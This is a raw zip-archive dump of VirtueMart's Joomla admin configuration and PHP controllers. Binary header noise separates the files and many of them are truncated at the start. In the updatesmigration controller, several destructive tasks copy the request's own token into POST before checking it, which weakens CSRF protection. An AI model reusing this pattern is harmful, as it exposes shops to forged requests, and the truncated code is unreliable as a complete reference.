currency_converter_module=convertECB.php order_mail_html=1 useSSL=0 dangeroustools=0 debug_enable=none google_jquery=1 multix=none ##Shopfront pdf_button_enable=1 show_emailfriend=1 show_printicon=0 show_out_of_stock_products=1 coupons_enable=0 show_uncat_child_products=0 coupons_default_expire=1,D weight_unit_default=KG lwh_unit_default=m list_limit=20 showReviewFor=all reviewMode=registered showRatingFor=all ratingMode=registered reviews_autopublish=1 reviews_minimum_comment_length=100 reviews_maximum_comment_length=2000 vmtemplate=default categorytemplate=default showCategory=1 categorylayout=0 categories_per_row=3 productlayout=0 products_per_row=3 vmlayout=0 show_featured=1 featured_products_per_row=3 show_topTen=1 topten_products_per_row=3 show_recent=1 show_latest=1 ##Paths assets_general_path=components/com_virtuemart/assets/ media_category_path=images/stories/virtuemart/category/ media_product_path=images/stories/virtuemart/product/ media_manufacturer_path=images/stories/virtuemart/manufacturer/ media_vendor_path=images/stories/virtuemart/vendor/ forSale_path_thumb=images/stories/virtuemart/forSale/resized/ img_resize_enable=1 img_width=90 img_height=90 no_image_set=noimage.gif no_image_found=warning.png ##Product order settings browse_orderby_field=p.virtuemart_product_id browse_orderby_fields=array:product_sku|category_name|mf_name|product_name browse_search_fields=array:product_sku|category_name|category_description|mf_name|product_name|product_s_desc ##Pricing show_prices=1 price_show_packaging_pricelabel=0 show_tax=1 basePrice=1 basePriceText=1 basePriceRounding=-1 variantModification=1 variantModificationText=1 variantModificationRounding=-1 basePriceVariant=1 basePriceVariantText=1 basePriceVariantRounding=-1 basePriceWithTax=1 basePriceWithTaxText=1 basePriceWithTaxRounding=-1 discountedPriceWithoutTax=1 discountedPriceWithoutTaxText=1 discountedPriceWithoutTaxRounding=-1 salesPriceWithDiscount=1 salesPriceWithDiscountText=1 salesPriceWithDiscountRounding=-1 salesPrice=1 salesPriceText=1 salesPriceRounding=-1 priceWithoutTax=1 priceWithoutTaxText=1 priceWithoutTaxRounding=-1 discountAmount=1 discountAmountText=1 discountAmountRounding=-1 taxAmount=1 taxAmountText=1 taxAmountRounding=-1 ##Check stock addtocart_popup=1 check_stock=0 automatic_payment=1 automatic_shipment=1 agree_to_tos_onorder=0 oncheckout_show_legal_info=1 oncheckout_show_register=1 oncheckout_show_steps=0 oncheckout_show_register_text=COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER ##SEO seo_disabled=0 seo_translate=0 seo_use_id=0 PKs>\xٶ #com_virtuemart/admin.virtuemart.phpnuW+AisSuperVendor()){ // if(!Permissions::getInstance()->check('admin','storeowner')){ $app = JFactory::getApplication(); vmError( 'Access restricted to Vendor and Administrator only (you are admin and should not see this messsage?)','Access restricted to Vendors and Administrator only' ); $app->redirect('index.php'); } // Require specific controller if requested if($_controller = vRequest::getCmd('view', vRequest::getCmd('controller', 'virtuemart'))) { if (file_exists(JPATH_VM_ADMINISTRATOR.DS.'controllers'.DS.$_controller.'.php')) { // Only if the file exists, since it might be a Joomla view we're requesting... require (JPATH_VM_ADMINISTRATOR.DS.'controllers'.DS.$_controller.'.php'); } else { // try plugins JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $results = $dispatcher->trigger('onVmAdminController', array($_controller)); if (empty($results)) { $app = JFactory::getApplication(); $app->enqueueMessage('Fatal Error in maincontroller admin.virtuemart.php: Couldnt find file '.$_controller); $app->redirect('index.php?option=com_virtuemart'); } } } // Create the controller $_class = 'VirtueMartController'.ucfirst($_controller); $controller = new $_class(); // Perform the Request task $controller->execute(vRequest::getCmd('task', $_controller)); vmTime($_class.' Finished task '.$_controller,'Start'); vmRam('End'); vmRamPeak('Peak'); $controller->redirect(); // pure php no closing tagPKs>\SPPcom_virtuemart/changelog.phpnuW+A Legend: * -> Security Fix # -> Bug Fix $ -> Language fix or change + -> Addition ^ -> Change - -> Removed ! -> Note -------------------- 1.5.0 Stable Release [Release date here] ------------------ ^ Category maintenance converted to MVC ^ Manufacturer Category view converted ^ Landing page converted to MVC ^ Media handling converted to MVC ^ Product listing converted to MVC ^ Administrator menu converted to MVC helper ^ Country maintenance converted to MVC ^ Credit card maintenance converted to MVC ^ Currency maintenance converted to MVC ^ Coupon maintenance converted to MVC + Added the ability to publish/unpublish countries ^ Coupon maintenance converted to MVC ^ Shipment Carrier maintenance converted to MVC ^ Shipment Rate maintenance converted ^ Order Status maintenance page converted to MVC # Bug 1538 fixed; Product pricing table changePKs>\D D (com_virtuemart/controllers/translate.phpnuW+AgetDefault() == $lang ) $dblang =''; $dblang= strtr($lang,'-','_'); $id = JRequest::getInt('id',0); $viewKey = JRequest::getWord('editView'); // TODO temp trick for vendor if ($viewKey == 'vendor') $id = 1 ; $tables = array ('category' =>'categories','product' =>'products','manufacturer' =>'manufacturers','manufacturercategories' =>'manufacturercategories','vendor' =>'vendors', 'paymentmethod' =>'paymentmethods', 'shipmentmethod' =>'shipmentmethods'); if ( !array_key_exists($viewKey, $tables) ) { $json['msg'] ="Invalid view ". $viewKey; echo json_encode($json); jExit(); } $tableName = '#__virtuemart_'.$tables[$viewKey].'_'.$dblang; $db =JFactory::getDBO(); $q='select * FROM `'.$tableName.'` where `virtuemart_'.$viewKey.'_id` ='.$id; $db->setQuery($q); if ($json['fields'] = $db->loadAssoc()) { $json['structure'] = 'filled' ; $json['msg'] = jText::_('COM_VIRTUEMART_SELECTED_LANG').':'.$lang; } else { $json['structure'] = 'empty' ; $db->setQuery('SHOW COLUMNS FROM '.$tableName); $tableDescribe = $db->loadAssocList(); array_shift($tableDescribe); $fields=array(); foreach ($tableDescribe as $key =>$val) $fields[$val['Field']] = $val['Field'] ; $json['fields'] = $fields; $json['msg'] = JText::sprintf('COM_VIRTUEMART_LANG_IS_EMPTY',$lang ,jText::_('COM_VIRTUEMART_'.strtoupper( $viewKey)) ) ; } echo json_encode($json); jExit(); } } //pure php no tag PKs>\n+com_virtuemart/controllers/shoppergroup.phpnuW+AregisterTask( 'default','makeDefault' ); } function makeDefault() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('shoppergroup', 'html'); $model = VmModel::getModel('shoppergroup'); $msgtype = ''; $cids = JRequest::getVar('virtuemart_shoppergroup_id',array()); if ($model->makeDefault((int)$cids[0])) $msg = JText::_('COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY'); else { $msg = ''; // $msg = JText::_('COM_VIRTUEMART_SET_TO_DEFAULT_ERROR'); $msgtype = 'error'; } $mainframe->redirect('index.php?option=com_virtuemart&view=shoppergroup', $msg, $msgtype); } } // pure php no closing tag PKs>\% S--)com_virtuemart/controllers/virtuemart.phpnuW+AgetType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); return $this; } } //pure php no closing tag PKs>\O)com_virtuemart/controllers/usergroups.phpnuW+A\e$com_virtuemart/controllers/about.phpnuW+A\)$com_virtuemart/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\KZ^^)com_virtuemart/controllers/userfields.phpnuW+AgetType(); $view = $this->getView('userfields', $viewType); parent::display(); } function viewJson() { // Create the view object. $view = $this->getView('userfields', 'json'); // Now display the view. $view->display(null); } } //No Closing tag PKs>\[6++#com_virtuemart/controllers/user.phpnuW+AuseSSL = VmConfig::get('useSSL',0); $this->useXHTML = false; VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); } /** * Override of display to prevent caching * * @return JController A JController object to support chaining. */ public function display(){ $document = JFactory::getDocument(); $viewType = $document->getType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); return $this; } function edit(){ } /** * deprecated */ function editAddressST(){ $view = $this->getView('user', 'html'); $view->setLayout('edit_address'); $ftask ='saveAddressST'; $view->assignRef('fTask', $ftask); // Display it all $view->display(); } /** * This is for use in the cart, it calls a standard template for editing user adresses. It sets the task following into the form * of the template to saveCartUser, the task saveCartUser just sets the right redirect in the js save(). This is done just to have the * controll flow in the controller and not in the layout. The layout is everytime calling a standard joomla task. * * @author Max Milbers */ function editAddressCart(){ $view = $this->getView('user', 'html'); $view->setLayout('edit_address'); $ftask ='savecartuser'; $view->assignRef('fTask', $ftask); // Display it all $view->display(); } /** * This is for use in the checkout process, it is the same like editAddressCart, but it sets the save task * to saveCheckoutUser, the task saveCheckoutUser just sets the right redirect. This is done just to have the * controll flow in the controller and not in the layout. The layout is everytime calling a standard joomla task. * * @author Max Milbers */ function editAddressCheckout(){ $view = $this->getView('user', 'html'); $view->setLayout('edit_address'); $ftask ='savecheckoutuser'; $view->assignRef('fTask', $ftask); // Display it all $view->display(); } /** * This function is called from the layout edit_adress and just sets the right redirect back to the cart * We use here the saveData(true) function, because within the cart shouldnt be done any registration. * * @author Max Milbers */ function saveCheckoutUser(){ $msg = $this->saveData(true,VmConfig::get('reg_silent',0)); //We may add here the option for silent registration. $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=cart&task=checkout',$this->useXHTML,$this->useSSL), $msg ); } function registerCheckoutUser(){ if($this->checkCaptcha('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT') != FALSE) { $msg = $this->saveData(true,true); $this->setRedirect(JRoute::_( 'index.php?option=com_virtuemart&view=cart&task=checkout',$this->useXHTML,$this->useSSL ),$msg); } } /** * This function is called from the layout edit_adress and just sets the right redirect back to the cart. * We use here the saveData(true) function, because within the cart shouldnt be done any registration. * * @author Max Milbers */ function saveCartUser(){ $addressType = vRequest::getString('address_type'); if($addressType=='BT'){ $msg = $this->saveData(true,VmConfig::get('reg_silent',0)); } else { $msg = $this->saveData(false,false,true); } $this->setRedirect(JRoute::_( 'index.php?option=com_virtuemart&view=cart', FALSE ),$msg); } function registerCartuser(){ if($this->checkCaptcha('index.php?option=com_virtuemart&view=user&task=editaddresscart&addrtype=BT') != FALSE) { $msg = $this->saveData(true, true); $this->setRedirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE) , $msg); } } /** * This is the save function for the normal user edit.php layout. * We use here directly the userModel store function, because this view is for registering also * it redirects to the standard user view. * * @author Max Milbers */ function saveUser(){ $layout = JRequest::getWord('layout','edit'); if($this->checkCaptcha('index.php?option=com_virtuemart&view=user&layout='.$layout) != FALSE) { $msg = $this->saveData(true, true); $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=user&layout='.$layout, FALSE), $msg ); } } function saveAddressST(){ $msg = $this->saveData(false,false,true); $layout = 'edit';// JRequest::getWord('layout','edit'); $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=user&layout='.$layout, FALSE), $msg ); } /** * Save the user info. The saveData function don't use the userModel store function for anonymous shoppers, because it would register them. * We make this function private, so we can do the tests in the tasks. * * @author Max Milbers * @author Valérie Isaksen * * @param boolean Defaults to false, the param is for the userModel->store function, which needs it to determine how to handle the data. * @return String it gives back the messages. */ private function saveData($cart=false,$register=false, $onlyAddress=false) { $mainframe = JFactory::getApplication(); $currentUser = JFactory::getUser(); $msg = ''; $data = JRequest::get('post'); if(empty($data['address_type'])){ $data['address_type'] = vRequest::getCmd('addrtype','BT'); } if($currentUser->guest!=1 || $register){ $userModel = VmModel::getModel('user'); if(!$cart){ // Store multiple selectlist entries as a ; separated string if (array_key_exists('vendor_accepted_currencies', $data) && is_array($data['vendor_accepted_currencies'])) { $data['vendor_accepted_currencies'] = implode(',', $data['vendor_accepted_currencies']); } $data['vendor_store_name'] = JRequest::getVar('vendor_store_name','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_store_desc'] = JRequest::getVar('vendor_store_desc','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_terms_of_service'] = JRequest::getVar('vendor_terms_of_service','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_css'] = JRequest::getVar('vendor_letter_css','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_header_html'] = JRequest::getVar('vendor_letter_header_html','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_footer_html'] = JRequest::getVar('vendor_letter_footer_html','','post','STRING',JREQUEST_ALLOWHTML); } //It should always be stored if($onlyAddress){ $ret = $userModel->storeAddress($data); } else { $ret = $userModel->store($data); } if(!$onlyAddress and $currentUser->guest==1){ $msg = (is_array($ret)) ? $ret['message'] : $ret; $usersConfig = JComponentHelper::getParams( 'com_users' ); $useractivation = $usersConfig->get( 'useractivation' ); if (is_array($ret) and $ret['success'] and !$useractivation) { // Username and password must be passed in an array $credentials = array('username' => $ret['user']->username, 'password' => $ret['user']->password_clear ); $return = $mainframe->login($credentials); } else if(VmConfig::get('oncheckout_only_registered',0)){ $layout = JRequest::getWord('layout','edit'); $this->redirect( JRoute::_('index.php?option=com_virtuemart&view=user&layout='.$layout, FALSE), $msg ); } } } if(!class_exists('VirtueMartCart')) require(JPATH_VM_SITE.DS.'helpers'.DS.'cart.php'); $cart = VirtueMartCart::getCart(); $cart->saveAddressInCart($data, $data['address_type']); return $msg; } /** * Editing a user address was cancelled when called from the cart; return to the cart * * @author Oscar van Eijk */ function cancelCartUser(){ $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE) ); } /** * Editing a user address was cancelled during chaeckout; return to the cart * * @author Oscar van Eijk */ function cancelCheckoutUser(){ $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=cart&task=checkout',$this->useXHTML,$this->useSSL) ); } /** * Action cancelled; return to the previous view * * @author Oscar van Eijk */ function cancel() { $return = JURI::base(); $this->setRedirect( $return ); } function removeAddressST(){ $virtuemart_userinfo_id = JRequest::getVar('virtuemart_userinfo_id'); //Lets do it dirty for now $userModel = VmModel::getModel('user'); $userModel->removeAddress($virtuemart_userinfo_id); $layout = JRequest::getWord('layout','edit'); $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=user&layout='.$layout, $this->useXHTML,$this->useSSL) ); } /** * Check the Joomla ReCaptcha Plg * * @author Maik Künnemann */ function checkCaptcha($retUrl){ if(JFactory::getUser()->guest==1 and VmConfig::get ('reg_captcha')){ $recaptcha = vRequest::getVar ('recaptcha_response_field'); JPluginHelper::importPlugin('captcha'); $dispatcher = JDispatcher::getInstance(); $res = $dispatcher->trigger('onCheckAnswer',$recaptcha); if(!$res[0]){ $data = vRequest::getPost(); $data['address_type'] = vRequest::getVar('addrtype','BT'); if(!class_exists('VirtueMartCart')) require(JPATH_VM_SITE.DS.'helpers'.DS.'cart.php'); $cart = VirtueMartCart::getCart(); $cart->saveAddressInCart($data, $data['address_type']); $errmsg = vmText::_('PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL'); $this->setRedirect (JRoute::_ ($retUrl . '&captcha=1', FALSE), $errmsg); return FALSE; } else { return TRUE; } } else { return TRUE; } } } // No closing tag PKs>\,bVh %com_virtuemart/controllers/config.phpnuW+Astore($data)) { $msg = JText::_('COM_VIRTUEMART_CONFIG_SAVED'); // Load the newly saved values into the session. VmConfig::loadConfig(); } else { $msg = $model->getError(); } $redir = 'index.php?option=com_virtuemart'; if(JRequest::getCmd('task') == 'apply'){ $redir = $this->redirectPath; } $this->setRedirect($redir, $msg); } /** * Overwrite the remove task * Removing config is forbidden. * @author Max Milbers */ function remove(){ $msg = JText::_('COM_VIRTUEMART_ERROR_CONFIGS_COULD_NOT_BE_DELETED'); $this->setRedirect( $this->redirectPath , $msg); } } //pure php no tag PKs>\5 5 $com_virtuemart/controllers/media.phpnuW+AgetView('media', 'json'); /* Now display the view. */ $view->display(null); } function save($data = 0){ $fileModel = VmModel::getModel('media'); //Now we try to determine to which this media should be long to $data = JRequest::get('post'); //$data['file_title'] = JRequest::getVar('file_title','','post','STRING',JREQUEST_ALLOWHTML); $data['file_description'] = JRequest::getVar('file_description','','post','STRING',JREQUEST_ALLOWHTML); $data['media_attributes'] = JRequest::getWord('media_attributes'); $data['file_type'] = JRequest::getWord('file_type'); if(empty($data['file_type'])){ $data['file_type'] = $data['media_attributes']; } if ($id = $fileModel->store($data,$data['file_type'])) { $msg = JText::_('COM_VIRTUEMART_FILE_SAVED_SUCCESS'); } else { $msg = $fileModel->getError(); } $cmd = JRequest::getCmd('task'); if($cmd == 'apply'){ $redirection = 'index.php?option=com_virtuemart&view=media&task=edit&virtuemart_media_id='.$id; } else { $redirection = 'index.php?option=com_virtuemart&view=media'; } $this->setRedirect($redirection, $msg); } function synchronizeMedia(){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart', $msg); } if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portMedia(); $this->setRedirect($this->redirectPath, $result); } } // pure php no closing tag PKs>\^&com_virtuemart/controllers/country.phpnuW+A\%com_virtuemart/controllers/index.htmlnuW+APKs>\BndPP"com_virtuemart/controllers/log.phpnuW+AsetRedirect('index.php?option=com_virtuemart&view=log' ); } } // pure php no closing tagPKs>\"K%com_virtuemart/controllers/coupon.phpnuW+A\ uh+com_virtuemart/controllers/manufacturer.phpnuW+AgetType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); return $this; } } // No closing tag PKs>\͒ܝ#com_virtuemart/controllers/calc.phpnuW+AsetRedirect( 'index.php?option=com_virtuemart&view=calc', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('calc'); if ($model->orderCalc($id, -1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_UP'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', $msg ); } /** * Save the calc order * * @author jseros */ public function orderDown() { // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('calc'); if ($model->orderCalc($id, 1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_DOWN'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', $msg ); } /** * Save the categories order */ public function saveOrder() { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); $model = VmModel::getModel('calc'); $order = JRequest::getVar('order', array(), 'post', 'array'); JArrayHelper::toInteger($order); if ($model->setOrder($cid,$order)) { $msg = JText::_('COM_VIRTUEMART_NEW_ORDERING_SAVED'); } else { $msg = $model->getError(); } $this->setRedirect('index.php?option=com_virtuemart&view=calc', $msg ); } } // pure php no closing tag PKs>\%com_virtuemart/controllers/report.phpnuW+AupdateOrderItems(); $this->setRedirect($this->redirectPath, 'Order Items updated'); } } // pure php no closing tagPKs>\vߍJNJN/com_virtuemart/controllers/updatesmigration.phpnuW+Acheck('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart', $msg); } return true; } /** * Akeeba release system tasks * Update * @author Max Milbers */ function liveUpdate(){ $this->setRedirect('index.php?option=com_virtuemart&view=liveupdate.', 'Akeeba release system'); } /** * Install sample data into the database * * @author RickG */ function checkForLatestVersion(){ $model = $this->getModel('updatesMigration'); JRequest::setVar('latestverison', $model->getLatestVersion()); JRequest::setVar('view', 'updatesMigration'); parent::display(); } /** * Install sample data into the database * * @author RickG * @author Max Milbers */ function installSampleData(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); // $this->checkPermissionForTools(); $model = $this->getModel('updatesMigration'); $msg = $model->installSampleData(); $this->setRedirect($this->redirectPath, $msg); } /** * Sets the storeowner to the currently logged in user * He needs admin rights * * @author Max Milbers */ function setStoreOwner(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $model = $this->getModel('updatesMigration'); $storeOwnerId =JRequest::getInt('storeOwnerId'); $msg = $model->setStoreOwner($storeOwnerId); $this->setRedirect($this->redirectPath, $msg); } /** * Install sample data into the database * * @author RickG * @author Max Milbers */ function restoreSystemDefaults(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); $model->restoreSystemDefaults(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED'); $msg .= ' User id of the main vendor is ' . $model->setStoreOwner(); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } /** * Remove all the Virtuemart tables from the database. * * @author RickG * @author Max Milbers */ function deleteVmTables(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED'); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); if(!$model->removeAllVMTables()){ $this->setDangerousToolsOff(); $this->setRedirect('index.php?option=com_virtuemart', $model->getError()); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect('index.php?option=com_installer', $msg); } /** * Deletes all dynamical created data and leaves a "fresh" installation without sampledata * OUTDATED * @author Max Milbers * */ function deleteVmData(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_VMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); if(!$model->removeAllVMData()){ $this->setDangerousToolsOff(); $this->setRedirect('index.php?option=com_virtuemart', $model->getError()); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function deleteAll(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_ALLVMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $this->installer->populateVmDatabase("delete_essential.sql"); $this->installer->populateVmDatabase("delete_data.sql"); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function deleteRestorable(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_RESTVMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $this->installer->populateVmDatabase("delete_restoreable.sql"); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function refreshCompleteInstallAndSample(){ $this->refreshCompleteInstall(true); } function refreshCompleteInstall($sample=false){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', true)){ $model = $this->getModel('updatesMigration'); $model->restoreSystemTablesCompletly(); //$id = $model->determineStoreOwner(); $sid = $model->setStoreOwner(); $model->setUserToPermissionGroup($sid); if($sample)$model->installSampleData($sid); $msg = ''; if(empty($errors)){ $msg = 'System succesfull restored and sampledata installed, user id of the mainvendor is ' . $sid; } else { foreach($errors as $error){ $msg .= ( $error) . '
      '; } } VmConfig::installVMconfig(); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function installCompleteSamples(){ $this->installComplete(true); } function installComplete($sample=false){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', true)){ if(!class_exists('com_virtuemartInstallerScript')) require(JPATH_VM_ADMINISTRATOR . DS . 'install' . DS . 'script.virtuemart.php'); $updater = new com_virtuemartInstallerScript(); $updater->install(true); $model = $this->getModel('updatesMigration'); $sid = $model->setStoreOwner(); $model->setUserToPermissionGroup($sid); $msg = ''; if(empty($errors)){ $msg = 'System succesfull restored and sampledata installed, user id of the mainvendor is ' . $sid; } else { foreach($errors as $error){ $msg .= ( $error) . '
      '; } } if(!class_exists('com_virtuemart_allinoneInstallerScript')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart_allinone' . DS . 'script.vmallinone.php'); $updater = new com_virtuemart_allinoneInstallerScript(); $updater->vmInstall(true); if($sample) $model->installSampleData($sid); VmConfig::installVMconfig(); //Now lets set some joomla variables //Caching should be enabled, set to files and for 15 minutes if (!class_exists( 'ConfigModelApplication' )) require(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_config'.DS.'models'.DS.'application.php'); $jConfModel = new ConfigModelApplication(); $jConfig = $jConfModel->getData(); $jConfig['caching'] = 0; $jConfig['lifetime'] = 60; $jConfig['list_limit'] = 25; $jConfig['MetaDesc'] = 'VirtueMart works with Joomla! - the dynamic portal engine and content management system'; $jConfig['MetaKeys'] = 'virtuemart, vm2, joomla, Joomla'; $app = JFactory::getApplication(); $return = $jConfModel->save($jConfig); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $jConfig); vmError(vmText::sprintf('JERROR_SAVE_FAILED', $model->getError())); //return false; } else { // Set the success message. //vmInfo('COM_CONFIG_SAVE_SUCCESS'); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } /** * This is executing the update table commands to adjust tables to the latest layout * @author Max Milbers */ function updateDatabase(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); // $this->checkPermissionForTools(); if(!class_exists('com_virtuemartInstallerScript')) require(JPATH_VM_ADMINISTRATOR . DS . 'install' . DS . 'script.virtuemart.php'); $updater = new com_virtuemartInstallerScript(); $updater->update(false); $this->setRedirect($this->redirectPath, 'Database updated'); } /** * Delete the config stored in the database and renews it using the file * * @auhtor Max Milbers */ function renewConfig(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); //if(VmConfig::get('dangeroustools', true)){ $model = $this->getModel('config'); $model -> deleteConfig(); // } $this->setRedirect($this->redirectPath, 'Configuration is now restored by file'); } /** * This function resets the flag in the config that dangerous tools can't be executed anylonger * This is a security feature * * @author Max Milbers */ function setDangerousToolsOff(){ if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $res = VirtueMartModelConfig::checkConfigTableExists(); if(!empty($res)){ $model = $this->getModel('config'); $model->setDangerousToolsOff(); } } /** * Sends the message to the user that the tools are disabled. * * @author Max Milbers */ function _getMsgDangerousTools(){ $uri = JFactory::getURI(); VmConfig::loadJLang('com_virtuemart_config'); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $msg = JText::sprintf('COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED', JText::_('COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS'), $link); return $msg; } function portMedia(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portMedia(); $this->setRedirect($this->redirectPath, $result); } function migrateGeneralFromVmOne(){ $data = JRequest::get('get'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateGeneral(); if($result){ $msg = 'Migration general finished'; } else { $msg = 'Migration general was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateUsersFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateUsers(); if($result){ $msg = 'Migration users finished'; } else { $msg = 'Migration users was interrupted by max_execution time, please 